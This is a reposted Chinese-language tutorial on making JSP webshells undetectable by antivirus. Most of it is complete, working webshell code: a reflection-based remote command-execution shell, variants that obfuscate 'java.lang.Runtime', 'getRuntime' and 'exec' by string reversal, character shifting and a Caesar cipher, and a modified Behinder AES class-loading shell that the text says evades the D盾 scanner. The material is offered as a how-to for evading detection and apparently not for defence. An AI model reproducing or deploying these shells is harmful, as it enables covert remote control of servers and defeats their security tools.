webshell之jsp免殺
轉載自webshell免殺研究
原理
向服務器端發送惡意代碼寫成的文件(即:shell),客戶端通過遠程連接,利用shell連接到服務器,並可對服務器進行操作。
結構
實現三步
- 數據的傳遞
- 執行所傳遞的數據
- 回顯
數據傳遞
String x = request.getParameter("x");
執行所傳遞的數據
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //獲取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //獲取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);
回顯
#in為執行返回結果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
免殺思路
jsp類型webshell數據傳入、回顯兩個部分都是很正常的代碼,一般程序中都會使用,不會觸發檢測規則。
所以需要重點關注殺毒軟件對執行這個部分的檢測
免殺
將以上三個部分拼接出來就是正常的通過類反射執行的回顯webshell:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //獲取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //獲取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
由於其仍然含有java.lang.Runtime、getRuntime、exec等關鍵字,仍然會被安全軟件檢測,我們的免殺主要也針對這幾個關鍵字符串。
比如通過ascii、hex、base64等方式傳入不含有這些特征的關鍵字,但是因為用的過多,目前也被列入已知后門,所以最好這里是自定義編碼方式或轉換方式,比如異或,移位,反轉,柵欄等各種操作縫合的方式。
反轉字符串
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
Method gr = rt.getMethod(reverseStr("emitnuRteg"));
Method ex = rt.getMethod(reverseStr("cexe"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
移位5位
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String eStr(String str){String result = "";int length = str.length();for (int i = 0; i < length; i++){char z=str.charAt(i);z=(char)(z-5);result=result+z;}return result;}%>
<%
if(request.getParameter("x")!=null){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj"));
Process e = (Process) rt.getMethod(new String(eStr("j}jh")), String.class).invoke(rt.getMethod(new String(eStr("ljyWzsynrj"))).invoke(null, new Object[]{}), request.getParameter("x") );
java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
小寫字母凱撒密碼
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String plusStr(String str){String plus = "";int length = str.length();for (int i = 0; i < length; i++){char z = str.charAt(i);
if(z>='a'&&z<='w'){z=(char)(z+3);plus=plus+z;}
else if(z>='x'&&z<='z'){z=(char)(z-23);plus=plus+z;}
else{plus=plus+z;}}return plus;}
%>
<%
String x = request.getParameter("x");
if(x!=null){
Class rt = Class.forName(plusStr("gxsx.ixkd.Rrkqfjb"));
Method gr = rt.getMethod(plusStr("dbqRrkqfjb"));
Method ex = rt.getMethod(plusStr("bubz"), String.class);
Process e = (Process) ex.invoke(gr.invoke(null), x);
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
冰蠍改造
冰蠍默認馬:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
經過二分法,D盾查殺特征在最后這句
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
參考了yzddmr6的方法,拆分或使用類似語句替換,所以使用Base64.getDecoder()替換原本特征,並把request.getReader().readLine()單獨取出來,破壞D盾識別的特征。當然也可以拆分該語句的其他部分,破壞特征。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>
最終D盾對本文提到的多種webshell都是可以免殺的